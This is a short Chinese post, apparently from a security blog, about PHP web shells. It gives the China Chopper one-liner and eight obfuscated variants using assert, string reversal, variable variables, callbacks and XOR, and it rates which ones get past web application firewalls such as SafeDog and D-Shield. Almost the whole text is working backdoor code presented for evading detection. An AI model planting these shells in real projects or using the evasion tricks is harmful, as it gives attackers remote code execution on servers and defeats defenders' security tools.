菜刀中的php木马为
<?php
@eval($_POST[key])
?>
现在的waf对eval审查比较严格,采用assert替换。
<?php
@assert($_POST[key]);
?>
其他的一些思路
1.assert可以分割为
$b='a'.'s'.'s'.'e'.'r'.'t'
//利用php特性
$b($_POST[key]);
可以达到上述目的,现在狗可以查出来。
2.颠倒
$b='tressa';
$c=strrev($b);
$c($_POST[key]);
仍然可以查杀
3.变量覆盖
$b=$_POST['key'];
$a='b';
@assert($$a);
仍然可以查杀
4.变量引用
$a=$_POST['key'];
$b=&$a;
@assert($b);
仍然可以查杀
5.其他代码调用
function test($b){
@eval($b);
}
test($_POST[key]);
仍然可以查杀

6.php自定义类方法调用
<?php
class Test{
function testBypass($a){
assert($a);
}
}
$test= new Test();
$test->testBypass($_POST['key']);
?>

可以看到比刚刚的要强不少,狗稍微糊涂一点。
7.函数回调
<?php
array_map('assert',array($_POST['x']));
?>

8.位运算符

<?php $a=$_POST['x'];$b=$a;@eval($b^$a);?>

不玩了不玩了,D盾太强,D盾级别低一点的安全狗都能过.
网友评论